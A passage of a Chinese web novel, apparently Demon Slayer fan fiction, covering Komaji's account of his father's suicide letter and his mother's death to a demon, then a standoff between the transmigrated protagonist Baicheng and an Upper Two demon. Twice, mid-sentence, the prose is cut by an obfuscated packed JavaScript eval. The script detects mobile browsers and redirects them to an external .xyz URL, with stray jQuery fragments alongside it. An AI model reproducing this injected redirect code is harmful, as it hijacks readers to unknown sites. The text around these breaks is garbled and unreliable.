“我一直不能理解。”说到这里,狛治用力握住了柴刀,“堂堂正正有那么重要吗?比他的命还要重要?重要到舍得把我一个人丢在这个冷漠的世界?” “老实说,回家看到老爸挂在悬梁上的尸体,有一瞬间,我是怨恨的。” “我都做到这样了,我一点都不觉得苦,他为什么要离我而去呢?” 许是注视着自己的目光太过温柔,那平等的,不含悲悯的,被命运磋磨过的同类的气息交织笼罩在这间小小的居室里。 狛治的话变得密集,语速像连珠炮一样变快,“老爸走之前,给我留了一封信。最后一封。” “信上,他叫我狛治,他跟我说对不起。” “他说对不起辜负了我的母亲,说对不起没能把我养成一个堂堂正正的人。” “但他说他不后悔自杀,他说自己有心里准备,他说他知道上吊的痛苦。” “他说他当年亲手吊死过很多人。” 遗书一直在狛治的内兜里贴身放着,上面是这样写的—— 狛治。 当你看到这封信的时候,我应该已经离开。 我的身体是行将就木的烂泥,除了拖累你的前程再无用处。 11岁让你独自面对这个世界我很抱歉。 但爸爸已经没办法为你做出任何了。 死亡是我自己的选择,我不后悔,也希望你不要内疚。 自你记事起,我应该就是个病弱的温和的父亲,那些肮脏的锁在回忆里的过去我本不想揭开。 但仔细想想,我本就不是一个好的父亲,也就没有什么在儿子面前维护自己的形象一说。 这是我们最后一次对话,我想跟你聊一聊我的一生。 天保年间,我出生在木曾谷。 八岁我生日那天,阿花死了。 阿花是条狗,跟我一起长大的狗,小时候救了落水的我一命,后来就成了家人。 白天,爸妈带着它的尸体出去了一趟。 夜晚,我的父亲和母亲把我抱在怀里。 我们仨躺在榻榻米上,盛夏很热,很闷,流的汗浸在皮肤上粘腻得很,他们却抱得死紧。 我蜷在他们怀里,很热,但很安心。 第二天一早,满口黄牙的人贩子上门,父母把我推到那人怀里,卑躬屈膝地笑,让我以后要听话,跟着大人过好日子。 人贩子递给他们一袋黄色麻布兜的米面。 他们卖了我。 或许是为了一点吃食。 我不怨他们。 那天中午突下暴雨,所以人贩子没走。 我夜里偷偷溜回了家。 我想他们。 想着远远看一眼就走。 看他们吃得饱饱的,我也能放心走。 黑夜屋里透着月光,影影绰绰看不清楚。 我偷偷打着了草,借着火光看到了他俩——的尸体。 吊在房梁上,头颅垂着,眼睛凸着,被观音土撑大的肚子鼓着。 我在屋子里找到了白天那袋米面,手指探进去。 指尖一捻便成了粉。 我生出莫名的饥饿,饥荒已近三月,我本已习惯忍耐,但那天,在他们尸体旁边,饥饿突然像烈火一样从我的胃烧到了五脏六腑。 我想吐,想呕,但我呕不出东西。 我想吃,所以我递到嘴边,吃了一口。 凉的,铁腥和石灰味在舌尖上划开,吞下去的时候嗓子磨得生疼。 我一直在吃。 一点一点地在吃。 直到一阵风吹过,母亲系在腰间的布条颤巍巍地从空中扫过我的后脖,我猝地抬头,对上她低垂的脸颊。 我跪在地上颤巍巍地仰头望着,那一刻我才意识到——爸妈死了。 后面人贩子跟我说,我年纪长了几岁,本不在贵人的挑选范围。 他们送了条狗来,他烹了,味道不错,于是顺便答应他们,上门的时候带个盛了观音土的袋子来。 他们想我安心地走,想我恨他们,想我往前走,别回头。 他们三拜四请给我在这乱世谋出一条生路。 他们跟我说的最后一句话就是——儿,听话,跟着大人能过上好日子。 我想我该听话。 我打小就很沉默,不爱说话,但身手利落。 贵人挑中了我,于是我成了布达寺的刽子手。 幕末年间,民不聊生,各地掀起倒幕运动,布达寺也是其中一股势力。 而我作为黑暗里的刽子手,负责暗杀幕府要员。 第一次杀人那年,我九岁,主公夸我做得不错,说我杀了一个草菅人命的大坏蛋,说我是乖孩子做了正确的事情。 后来我一直杀人,一直杀坏人。 可能……也会有好人。 我不会在意。 也没有人在意。 这不重要。 成年那天,我难得走在街上。 执行暗杀任务的我,常年行走于黑夜,不见天光皮肤苍白。 她在栏杆隔出的妓院里蜷着,怯怯的也不说话,只在我路过的时候勾住了我的衣角。 她是个哑女,被家人卖到妓院,由于一直揽不到客人,已经两天两夜没吃过饭了。 抓住我,她是故意的。 被她抓住的我也是。 屋子太寂寞,训练太枯燥,死的人千篇一律,我拿着银钱,细细擦干可能沾上的血迹,交给老鸨,把她带回了家。 她是哑巴,不会说话,所以不会麻烦。 我一开始是这么想的。 但她会笑。 递给她吃食会笑,见到我会笑,勾起两个梨涡来。 这很麻烦。 因为会让我觉得可爱。 她胆子很小,不敢见生人,主公偶尔过来,她就躲在屏风后面偷偷藏着。 她会帮我整理内务,会做很美味的料理,会从林间偷偷采颜色鲜艳的野花,一束束地插在陶罐捏的花瓶里。 后来,我们相爱了,再后来她怀孕了。 我想收手。 主公不允。 执行任务的时候,我本不会留情。 没必要听人说话,何况他是死人,我是工具。 可那晚我刀慢了,于是我听着那个人从痛哭到怒骂,骂主公的罪行,骂他荒年征税催缴严苛,骂他强抢民女大肆奸|淫,骂他结党营私党同伐异,一桩桩一件件。 骂完他又开始骂我,骂我是他的走狗,骂我助纣为虐,骂我不得好死。 我一直告诉我自己,我杀的都是坏人。 幕府坏,起义好。 可今天,主动蒙在自己眼前的叶子,被人摘下了。 杀人就是杀人,于是我再也没法继续骗自己。 我放跑了他,我带着哑女跑了。 后来带教师父追了上来,他念着旧情,挑了我的手筋,废了我的杀人术。 于是我就成了你认识的父亲。 狛治,说这么多,我是想告诉你——杀人就是杀人,偷窃就是偷窃,损害他人利益的事情,不会因为理由,而变得正当。 我刀下的每一条亡魂,在你出现在她肚子里的时候,都成了我灵魂上担着的湿漉漉的稻草。 一点又一点地,压在我心头,闷得人喘不过气来。 我知道歧路就是歧路,所以狛治,我和妈妈才会希望你堂堂正正地活下去。 你还年轻,还有希望,你的人生还长,应该是阳光坦途。 我不是一个好的父亲,也不是一个好的丈夫,算不上一个好的鹰犬,也算不得一个正直的人。 但烂人也在祈祷着——自己跟她的孩子能够拥有一个截然不同的、光明磊落的人生。 狛治,我和妈妈不希望你走上和我们的道路。 狛治,爸爸希望你能够堂堂正正地活下去。 狛治,虽然不能看着你长大,但爸爸妈妈爱你。 永远爱你。 父谨上 —————— 狛治记得这封遗书,记得很牢,记得每一行每一个字每个标点。 他挑重要的向恋雪转述,而后喘了口气,缓了缓情绪,继续说道,“后来他们流浪到江户,试图在没人认识的地方,重新开始。” “我快要出生那几天,老爸去镇上找接生婆。” 伴随着狛治越来越低沉的语气,恋雪似乎意识到什么。 “这附近最好的接生婆也是流浪到江户的。” “她说她认识父亲。” “说她丈夫被父亲杀了。” “听到这句话的那一刻,父亲很茫然,他刀下太多人,伪装成自杀勒死的也太多人。” “但不妨碍父亲立即跪下磕头,求接生婆跟他走一趟。” “磕到头破血流。” “接生婆心善,还是跟父亲走了,只是耽误了几个时辰,天黑了。” “当时我家住在半山腰上的木屋里,每一根木头都是老爸和老妈亲手搭建的。” “那晚回家,木门稀碎。” “一个浑身鳞片皮肤的黑影爬在母亲的身上,听到声音,捧着啃食到一半的大腿,扭头看他。” “空气里是浓郁到能让人呕吐出来的血腥味。” “那个鬼脸上长了三只角,两张嘴。” 恋雪捂住了嘴。 “那个时候老妈还活着。” “她张嘴,却没有声音,她是哑巴,于是拼尽全力,用手臂指了指床底。” “床底有什么?” “我。”狛治指尖点了点自己。 “在鬼进来之前,她用老爸的砍柴刀,亲手划开肚皮,把我剖了出来藏在床底。” “鬼的影子被月光打在窗户上的时候。” “老妈亲了亲我的额头。” “现在已经记不得是什么感觉了。”狛治笑了笑,“应该很温暖吧。” “她把我藏进床底,拖着被剖开的肚子,提着柴刀,蜷到门口。” “鬼破门而入,直接把她压在地上。” “老爸想要把老妈救下来,但他根本握不住刀,他手筋断了。” “后来,天亮了,鬼走了。” “再后来,老爸在床底发现了我。” “老爸说,她向来胆子小。” “老爸说,一定很害怕吧。” “这天之后,老爸的身体就一直咳嗽。” “再然后,我偷窃,于是老爸也吊死了。” 恋雪瞳孔震颤着,不知何时眼泪已经落了满脸。 “别哭。”狛治回神,从自己的情绪里抽离出来,用帕子擦去她的眼泪,“就是告诉你,保护自己的安全才是最重要的。” “等你父亲回来,好吗?” “很害怕吧。”恋雪心疼,“你在床底,那么小看到了那样的场面,怎样都太残忍了。” “不。”狛治摇头,“妈妈把我保护得很好,非常好,所以我不会害怕。” “我出生就有一颗獠牙,街上的孩子都叫我鬼之子。”狛治自嘲笑笑,“我一直在想,我是不是不该出生,是不是没有我,老妈就不会死,那样老爸也不会死。” “不是的。”柔软的小手覆上狛治握着柴刀的手背,不知何时恋雪小姐已经从被窝里爬了出来。 “他们一定都很爱狛治,一定都想狛治健健康康快快乐乐地长大。” 狛治看恋雪。 恋雪很严肃地说,“你不要自责,不要自卑。” “狛治先生,是父母爱情的结晶。是承载着父母的爱意诞生的孩子,是伟大的孩子。” 狛治恍惚间又看到了父亲。 老爸拖着消瘦病体,坐在被褥里,扭头朝他慈爱一笑,说:“狛治,回来啦。” 说:“狛治,你要做个堂堂正正的男子汉。要堂堂正正地活下去。” 说:“狛治,你还小。你还有机会重新来过。” “你哭啦?” 狛治怔怔看她,指尖往脸上摸去,低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543980|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看,入手是豆大的泪珠。 而后眼泪像珠子一样,一连串地往下落。 “我……哭了吗?”还没等狛治反应过来,恋雪就拥了上来,薄薄的里衣透着少女躯干的热度。 鼻尖是狛治熟悉的草药香。 她没说话,什么也没说,只是抱着他。 狛治脖颈侧的动脉抽了抽,手臂慢慢抬起,最后还是拥了上去。 脸埋在恋雪衣服里,低低地抽动着肩膀。 这一晚,素流道场的灯通宵亮着,低低的呜咽逐渐消弭在夜里,后来两个半大的孩子依偎在一起哭着睡着了。 天边露出第一抹鱼肚白的时候,狛治醒了,昨夜的眼泪宛如一场梦境,他蹑手蹑脚地拉开房门。 “狛治先生。”恋雪不知何时睁眼,“请带我一起去。” “我知道这很为难。” “但我不想一直这么等待下去。” “不想,一个人在家里等待着。” “我知道。”狛治说,“我出去换一盆新的水,洗完脸我们就出发。” 恋雪点头,松开了抓住狛治的手,表示自己听见了。 狛治阖上门的时候,她乖乖蜷在被子里,睁大着眼睛望他,小声念,“狛治先生……” 她在不安。 “你把被子往上裹裹,别吹到风,我不关门。”狛治朝她点头,加快了脚步。 门没关,恋雪的视线一直追随着狛治的身影,牢牢地注视着。 他还在。 至少狛治先生还在。 我不是一个人。 所以这次一定跟上一次不一样。 恋雪松开了咬着嘴唇的牙齿。 这次不一样。 背着少女出门的时候,迎面撞上了武士们脚步匆匆往田岛道场去,“田岛少爷的尸体发现了。在村外的野地里,快去报告。” 狛治背上的恋雪猝地伸手,指甲死死地抓住武士的衣服,“旁边呢?” “什么旁边?”武士讶异而不耐。 “旁边有没有别的尸体?” “没有。”武士头也不回地走了。 跟在他后面的人倒是嘴碎多说了一句,“不过现场确实有别的血迹。” 武士的袖子从恋雪手里滑落了。 最后一点布料也要滑走的时候,恋雪回过神来,死死攥住,“武士大人,能不能带我去现场看看!” 武士皱眉,轻轻振袖。 布料就像抓不住的水那样溜走了。 狛治上前想拦。 “就在那个歪脖子树树下。”跟班小声扭头告诉他们。 那颗歪脖子树很有名,在江户城的南面,整片区域只有它一棵树,在广袤的草地上矗立着。 “多谢。”狛治道谢,而后背着恋雪便往那个方向走,脚程越来越快。 野地偏僻,到达的时候,只有三三两两田岛家的武士坐在树荫下。 “死得真惨啊……” “是啊,两条腿都没了。” “地上全是痛到打滚的血迹。” “是活生生痛死的。” “真是残忍的凶手啊。” “少爷还这么小,到底是谁这么狠心?” “你说这个世界上真的有鬼吗?” “胡说吧,这不都是老一辈用来吓唬小孩子早睡的吗?” “但人类真的能造成那样的伤口吗?”武士比划,“参差不齐的,就像硬生生用手扯下来的那样。” 两人都不说话了。 盛夏热风掠过草地一吹,武士们齐齐打了个激灵。 “请问……”恋雪从狛治背上下来,“这附近有看到其他的人吗?” “我的父亲一晚上没有回家。” 武士的眼神一瞬间流露出一丝怜悯,“旁边的尖石头上有血迹,但没有看到尸体。” “跟这边离得也有些远,感觉不像田岛少爷的,或许你可以去看看。” 恋雪眼神怔怔,回身往石头那走。 “欸欸欸!你小子干什么呢!你小子!”武士一扭头,发现黑发少年不知何时蹿到他们身后,一把掀开了盖在田岛尸体上的白布。 尸体中间的空的,田岛上半身胯骨处鲜血淋漓惨不忍睹,双腿消失,只留下了一对脚。 “是鬼。”狛治瞳孔地震,身体绷得像一张随时要断的弓,“是鬼造成的伤口。” “拔掉双脚,从小腿腿肚,一点点吃到大腿根。” “一样的进食习惯。” “是那只鬼,那只头上长着三只角,两张嘴的鬼。” “你小子在胡说什么呢?”武士们骂骂咧咧,没把话放在心上。 “是同一只鬼。”少年兀地抬头,眼眸赤红,“跟吃掉老妈的,是同一只鬼。” 狛治指着摆放在田岛躯干旁边的一双脚。 脚部完整,唯有被活生生扯烂的皮挂在上面。 “那只鬼会活生生拧断脚腕,把脚拆下来。”狛治甚至可以回想起那鬼伸出带着倒刺的舌头,随口刮去皮上牵连的红色血肉的模样,“他不吃脚,不吃上半身,他只吃腿。” 武士们面面相觑,过了好久长出一口气,“幸好,看现场,鬼应该往江户城里面去了。” “咱们道场在城外,这些天只要不进城就好。” 狛治缓缓转头,声音如鬼魅,“你们说什么?” 武士指着土地上已经干涸的血迹,“你看这沾着血的脚印是往城里走的。” 狛治终于知道,看到现场第一眼的不安来自于哪里了。 明明江户城那么大,町奉行所又那么多人,可狛治就是觉得出事了。 总是这样,亲近的人总在他不在的时候出事。 这是什么恶毒的诅咒吗? “恋雪小姐,我需要立刻回町奉行所一趟。”狛治直起脊背,往江户城望去,“很抱歉。” 恋雪缓过神来,“没事的。” 她做好了被狛治丢下的准备,“我可以自己……” 回去两个字还没出口,便被狛治打断。 只见少年已经蹲在自己身前。 见恋雪迟迟没有上来,他仰头抬眉很认真,“恋雪小姐跟我一起去吧。” “有町奉行所的帮助,找人也会容易些。” 恋雪默默趴在少年背上。 于是两颗害怕的心脏隔着薄薄的布料火热的皮肤,紧紧贴在一起。 他们都在恐惧。 恐惧那个不可接受的后果。 拜托,求求你上天。 狛治背着恋雪大步往町奉行所跑,不信鬼神的他第一次衷心祈祷—— 求求你不要对我那么残忍。 13. 上弦二 昨夜,町奉行所。 门外有鬼的呼吸声,轻浅的,平稳的。 意识到这一点的时候,白城顿了一下,笔尖刹那在和纸上渲开大片漆黑墨渍。 小黑刚刚汇报完今天的事情,末了担忧道:“狛治白天送一个女孩回家,到现在还没回来。” “没事。”白城平静道,“你去睡吧。” 小黑有些讶异,“今天还早。” “早睡早起才能身体好。”白城朝他笑了笑,抬眸道,“看你都有白发了,今天就早些歇息吧。” “好。”小黑抿唇一笑。 【系统,你的新手保护期不是30天吗?为什么现在鬼会上门?】 【抱歉。】 【无惨感应到我了吗?他亲自来了吗?门外是什么鬼?】 【抱歉。】 白城一口后槽牙都咬碎了,暗骂一声。 敌在暗,我在明,系统更是废物。 唯一的砝码是把狛治带回家时,剩下的两点能量值,可以兑换两次道具。 已是劣势,不能再拖了。 白城当机立断,垂眸收起笔墨,“既然来了,何不进来?” 屋内很静,仿佛一切都是白城的错觉。 可他能听见,听见自己强行按捺的呼吸外,另一个更绵长的呼吸与他交叠在一起。 那是同类的气息,鬼就在屋外。 白城从柜中取出一套茶具,温壶净具,垂眼点燃短香。 短香插入青铜炉的一瞬,木门凭空后移半寸,修剪得圆润的指甲悄无声息搭上门框。 赤足踩上榻榻米,红色的檀木佛珠挂在纤细的脚踝分外扎眼,五枚重的打卦外披绯红织锦,金线勾出飞鹤与松纹,头戴唐簪,髻发如漆,“初次见面。” 她懒懒靠在门框上,裂开鲜红的嘴,唇红齿白,纯黑的瞳孔看不出十二鬼月的排位,“那位大人让我过来看看。” 浓郁的鬼的气味,是上弦。 花魁扮相,只能让白城联想到吉原花街——在原作里是妓夫兄妹的领地。 而妓夫兄妹被童磨所救,合理推测吉原花街是原上弦之二的领地,在童磨发起换位血战成功后,被交给妓夫兄妹打理。 被童磨杀死的上弦之二。 白城对眼前鬼的身份已有初步估计。 白城的大脑运转地飞快。 她的扮相足够张扬,但行为却意外内敛,里外不一,需要注意。 一方面无惨只是叫她来看看,说明没有交代详细任务。 意味着鬼方对自己并不了解,新手保护期还在。 白城猝地想到白天书房喂鸡的那滴血。 无惨感应到了那滴血。 无来由地,白城就是这么认为。 区区半日,竟然就有鬼找上了门么…… 白城突然意识到,自己完完全全低估了无惨,这是一个足够谨慎而狡诈的敌人。 “派了上弦之二来,他真舍得。”青烟袅袅,安神香舒缓着白城紧绷的神经,修长的手指轻捻茶拨,将茶则上的抹茶拨入玉碗,提壶入茶,热水一激,茶香四溢,白城轻抿一口,“味道不错,今年京都的新茶,可惜你尝不了。” 她轻轻皱眉,施施然跪坐在白城对面,取走茶杓与茶筅,“两杓半抹茶粉,配五分水才对。” 她抬腕注水,角度极稳,水线断而不溅,而后茶筅轻搅,再改疾扫。 手腕的力道精准到毫厘,既不使粉滞底,又不致飞溅。 片刻后,碗面生出细密泡沫,如绢似云。 她收腕,茶筅竖立一瞬,抬起,泡沫中央留一圆心,整盏茶如碧玉。 “请用。”花魁双手奉上。 这鬼完全不接自己的话茬。 甚至节奏完全被她掌控了。 白城心觉不妙,接过茶水,轻呷一口,入口微苦而后回甘,“不错。” “应是极好。”她纠正,待白城喝完,一改端坐模样,手肘半撑,越过茶案,凑到白城耳侧嗅了嗅。 速度之快,形如鬼魅,白城还未动作,她便已经坐了回去,仿佛一切都是白城自己的幻觉。 “你是鬼,气味很淡。”她上下打量白城,“为什么能吃人类的食物?” “你是男孩,又为什么作女孩扮相?”白城知道不能顺着她的节奏走了,方才她凑到自己身前,虽然无法反应,但白城扫到了她的喉结。 “我想起来了,你有姐姐。”白城将茶盏落在桌案,缓缓抬眸,勾出一个平淡到有些恶劣的笑,“她死了。” 对面瞳孔骤缩。 白城知道自己赌对了。 赌! 就是要赌! 要见缝插针的赌,只有一步接一步地赌赢,才能活下去。 怀疑就是在细节中,被一点点侵蚀,而信任就是如此建立起来的。 对面的扮相过于艳丽张扬,但行为却异常礼貌,男扮女装,白城只能赌他在模仿别人。 亲近的人——母亲……或者姐姐。 “怎么死的?你亲手杀的。”白城不动声色地观察着他的神色,一点一点试探,“不对。” “她被人杀了,但你爱她,远超一个弟弟对姐姐的爱,于是你吃了她的尸体,扮作了她。” 对面先是愕然,瞳孔愈来愈小,但当定论落下,反倒猝地放大,数十道影刃骤然萦绕他的身体,影刃周围空间扭曲泛着七彩的光。 危险! 躲不掉。 会死! 身体最本能的求生欲在叫嚣,白城呷了口茶,把玩着茶盏,甚至没有抬眸。 空间扭曲一瞬,近乎半息不到,瞬移一般,影刃兀地凭空越到白城身前,裹着死亡的气味,直奔要害而来。 躲不掉,完全躲不掉。 速度太快,像是被锁定了一样。 白城死死盯着,眼睁睁地看着影刃削向自己的身体。 千钧一发之际—— 狠狠点击了系统商城! “叮——请求收到……” “宿主能量值:2” “能量值检测充足。” “可以兑换。” “您的‘一秒无敌闪避大法’已到账。” “检测到死亡威胁,已帮您自行激活。” 影刃徒然在空中扭曲一瞬,近乎贴着白城的眼球和皮肤滞空。 声速低于光速,一息后耳边方听到前一秒利刃划破空气的爆鸣。 下一秒,停滞在空中静止的影刃猝地幻化成一大片马赛克,嘭得平移,堪堪掠过耳廓汗毛,劲风拂过碎发,毫发无伤。 白城低头喝了口茶,眼都没眨一下。 花魁瞳孔放大,兴味盎然,抬手又捏三道影刃还欲再试。 “如果我是你的话,就乖乖站在那里不动。”白城摩挲着茶盏边缘,“你不会以为,我的性格比无惨还要好吧?上弦之二。” “你要想清楚。”白城无悲无喜,平静地注视着他,“一次,我可以谅你不知者无畏。” “二次,便是挑衅了。” 花魁神色莫测。 白城把话题绕了回去,“你先前问我为什么能吃人类的食物……” “真是可悲啊……” “你不觉得奇怪吗?” “明明鬼是远远优于人类的生物,却整日活在阴沟里。” “你有没有想过——”白城将茶盏落在桌案,绕开他周身的影刃,起身凑到他耳边,缓缓抬眸,勾出一个平淡到有些恶劣的笑,“这只是因为你们喝的是劣等残次品的血液啊。” 咕噜。 手里的血鬼术猝地掐断了。 他在挑衅无惨大人。 不! 他在蔑视无惨大人。 稚澄该怎么形容眼前人的眼神,像是九天神者像人间投下淡漠一瞥,高高在上以万物为刍狗,漠然却又慈悲。 “不!鬼就是晒不了太阳,所以无惨大人才寻找蓝色彼岸花。” 像是听到了什么天大的笑话,白城不屑嗤笑一声,“我那个愚蠢的弟弟最近还好吗?” “谁?” “鬼舞辻无惨。” “无惨大人没有血亲。” 白城也不恼,只是轻笑,“我不问你的名字,是因为没必要知道。” “而你不知道我的名字,是你没资格知道。” “就像……你没资格知道他的过去。” 稚澄握拳,指甲掐进肉里,面无表情。 “茶盏洗净,晾干帮我放进柜子里。”白城不愿再聊,伸了个懒腰,松松垮垮往内室走去,低声喃喃像是自言自语,“旧伤已经可以忍耐了么?” 无惨大人那么强大,身上怎么可能会有伤口? 但是…… 稚澄突然想到,每逢月圆之夜,无惨大人就格外暴躁,“很久之前的伤?” “不是噢。”白城的声音从屏风后传来,“是被切成1800块,一直……时时刻刻烧灼的痛噢。” “嘛……月圆之夜应该会更痛些。” “今晚不打算走吗?”白城问他,“也好,那就在这待着吧。” “不用担心,我不会对你做什么的。” 脑海里意外蹦出了白城见到自己的第一句话——上弦之二,他真舍得。 此刻他迟钝的大脑终于察觉出一丝诡异来。 “您说无惨大人真舍得……”稚澄润了润嘴唇,“舍得什么?” “无惨没告诉你?”白城反问他,“让你来找我,却不说做什么?” 对于无惨来说,只是突然感受到了一丝奇异的波动,他自己都不知道波动因何而来,自然不可能颁布什么具体的命令。 “不知。” “不如亲自问问。”白城诡谲一笑。 稚澄落在原地皱眉,在颅内试图联系无惨。 “真是蠢笨啊。”白城换着睡袍走到稚澄面前,轻轻低头,捻住了他的下巴,银灰色的瞳孔温柔,“直到现在都想不明白他让你来干什么吗?” 稚澄瞳仁骤缩。 白城贴着他的耳廓,轻声细语,有条不紊,“这一次我帮你拦下了。” “我的好心已经耗尽。” “上弦之二,你应该要聪明些才是。” 下巴上的力道很轻,轻到没有感觉,随便就能挣开。 可稚澄抬头,像是坠进了那银河似的灰眸里。 这人的眼底有些无奈,夹杂着稍许困意,以及一丝不可察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543981|186700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怜悯。 他在怜悯什么? 怜悯我吗? 我有什么好被怜悯的? 好心?他在说什么?联系无惨大人会发生对我不好的事情吗? 说起来无惨大人为什么不交代任务? 难道任务的执行者不是我? 而是眼前这个鬼吗? 执行什么? 稚澄突然想到——自己是吃了姐姐才变强的,鬼是能够通过吃鬼变强的。 后来,无惨也是发现了这一点,才勒令鬼必须独行,不可群居。 无惨派我来……让他吃。 我是祭品。 像是一道闪电劈过大脑,一切先前觉得奇怪的地方都连上了。 为什么无惨让自己过来? 为什么让他过来又不下达命令? 为什么眼前这只鬼这么强却一直在咳嗽? 无惨是让我来送死的。 稚澄落在原地用犬齿咬着自己的下唇,“他为什么要派我过来?” 你们关系并不好,你砍了他1800道伤口,可以说是敌人。 对于睚眦必报的无惨,他不可能希望你活着。 白城听出了这层意思。 “你应该很了解才是。”白城笑着摇头,往床榻去了,就像是听到三岁孩童的玩笑那样,“就像你嫉妒姐姐,又在模仿她一样。” “他恨我,怨我,不敢见我,也舍不得我死。” 留着稚澄一个人,哦不一只鬼站在书房中央。 “把门关上。” “夜里有风,我最近身子弱。” 稚澄被落在原地,漆黑的睫毛卷翘在空中,他眨了眨眼,手腕轻抬,门便缓缓关上了。 这人很强,非常强…… 稚澄有一种预感,他说自己能晒太阳,不是假话…… 连无惨大人都做不到的事情,眼前人居然能做到吗? 他真的是无惨大人的哥哥?无惨大人当真是让自己来做祭品? 稚澄抬步准备往卧室里走的时候,侧头想到了什么,指尖弹出一道劲风,熄灭了书案上的蜡烛。 在没弄清底细之前,他不会轻举妄动,他是一个聪明的孩子。 书房陷入黑暗,卧室的光便遥遥落在他光裸的脚上。 鬼在黑暗中,视力也很好。 他悄无声息地走到白城床头,“鬼为什么要开灯呢?” “可能会让我觉得一切还没有变吧。”白城轻轻喟叹一声,眼神有些怀念,“在这陪陪我吧。” “我也是好久,没有见过鬼了。” “妆卸了,碍眼。” 真睡过去了…… 稚澄站在阴影里,沉沉地盯着他。 手心张开,隔空在白城的脖颈上比划了两下。 正如眼前人所说,无惨大人直到现在都没有回复自己的简讯,消息应该果真被拦下了。 但……一只能吃人类食物的鬼,一只能晒太阳的鬼,一只高级的完全体的鬼…… 如果我吃了他,是不是就能摆脱无惨的控制? 是不是就能获得姐姐说的自由? 要再动手吗? 稚澄有些跃跃欲试,指尖影刃明灭,而后兀地散了。 他在床边立了一会,而后闪身出去了,再回来一头纯黑的长发简单扎在脑后,身上沾着水气,不施粉黛。 脚上的红色佛珠还在,纵身一跃,盘坐在房梁上,居高临下地盯着床下的人。 他没有全信眼前人的话…… 但也不打算再挑衅他。 正如眼前人所说,无惨没有交待自己具体的任务,而自己现在依旧受制于无惨。 所以在无惨发出新的指令之前,静观其变,才是最好的选择。 连稚澄自己都没发现,他对鬼舞辻无惨的称呼已经发生了转变。 无惨大人是最强的,所有的鬼全凭无惨大人的血液才得以变强。这是千百年来根深蒂固的观念。 可此刻,这个观念动摇了。 当世界上不止无惨一只原始鬼,当高高在上的无惨原来只是一个劣等品…… 稚澄撑着下巴,神色莫测,不知在想些什么。 白城一开始当然是装睡,当那只冰冷的手掌悬在他脖颈上空不足一厘米时,他全身的肌肉都在无声地尖叫,每一根神经都绷紧到了极致。 他已经没有保命手段了,眼下的局面已是底牌尽出的结果。 如果上弦之二现在动手,他必死无疑! 白城没有动,他在赌,赌自己刚才威胁到位,赌眼前的鬼不敢轻易动手。 时间在死寂中流逝。 不知过了多久,那致命的压迫感终于从眉心移开。 白城在心底缓缓吐出一口浊气——他赌赢了。 【系统提示:您的一次性技能——屏蔽无惨指令一条,已生效】 【屏蔽内容为:把他抓回来,要活的。】 【请选择是否需要解禁?】 白城当然选择否。 手头的两点能量自此全部用完。 好在命保住了。 精神一旦松懈,沉重的疲惫便如潮水般涌来。然后,他便放任自己沉入了无梦的黑暗。 14. 锻刀 等到天边露出鱼肚白的时候,白城感觉有人蹲在自己身边。 怎么可能? 我睡在町奉行所的床上,除了狛治偶尔会跟我一块睡之外,根本不会有人靠近。 白城蹭了蹭枕头,翻了个身,再翻了个身。 直到身边的视线越来越胶着地黏在皮肤上。 白城终于睁眼了。 然后就看到——上弦之二赤脚踩在自己的枕头上,蹲下身探身在看他。 凭心而论,上弦之二没有脚气,离得这么近甚至能闻到皂角的香气,作为花魁平日里还是很注意私人卫生的。 你到底在想什么啊! 这可是鬼啊!上弦之二! 白城刚睡醒还迷迷糊糊的大脑瞬间爆发出尖锐的警告。 稚澄长得不差,黑发黑瞳,鼻梁微塌,邻家清秀,脸颊有乖巧的雀斑,此刻蹲在床头左上角的阴影里,埋在他脖颈处嗅着。 他察觉到白城醒了,抬头眨巴两下眼睛,“早上好。” “你在干什么?”白城眯眼,眼角凌厉。 “抱歉,您太香了,我忍不住。” 换作童磨或是无惨说这句话,白城只会觉得他们在挑衅,但上弦二的眼睛意外真诚老实,外加白城手头确实没有能量了。 “滚下去。”白城骂了一声。 稚澄往角落缩了缩,手指点了点,“有太阳。” 白城忍无可忍地一把拉开床帘,清晨温暖的阳光便透了进来。 稚澄早在白城动作之前就躲到了阳光晒不到的角落里。 白城顺手把枕头抛到他脸上,“洗干净。” “不要用脚踩枕头,懂?” 稚澄歪头,乖乖把砸脸上的枕头揭下来,诚恳道,“抱歉,下次不会了。” 还想有下次? 白城冷哼一声,走进了阳光里。 真的是……能晒太阳的鬼欸…… 稚澄匿在阴影里,一双猫瞳眯着,神情难辨,而后就着手头的枕头,把脸埋在里面,又吸了一大口。 真的……很香。 阳光真的很温暖。 “系统,我记得高阶鬼能共享低阶鬼的视野。”从睁眼到下床短短两分钟,白城已经复盘完昨晚生死一线的博弈,“能量兑换的技能只屏蔽了无惨的指令,他昨夜会不会正好共享了上弦二的视野?” 无惨对自己的情报掌握程度,将极大影响战局。 白城必须问清楚。 【经检测宿主仍在新手保护期内,系统将为您屏蔽一切异常。】 “包括无惨对我的感知?” 【您的一切信息在无惨视野都会被合理模糊。请您不要怀疑系统的专业。】 “所以为什么上弦二找到了我?” 【这是一个意外。】 “补偿呢?” 【很抱歉。】 呵呵。 白城冷笑两声。 系统面无表情。 别看了,就抱歉一条。 你如果需要,我可以再发一条。 除了抱歉,一无所有。 不论如何,无惨没有视奸到昨晚发生的一切,对白城来说,就是一个好消息。 信息差是白城目前唯一可以利用的手端,鬼方一旦互相通气,他连挣扎的余地都没有。 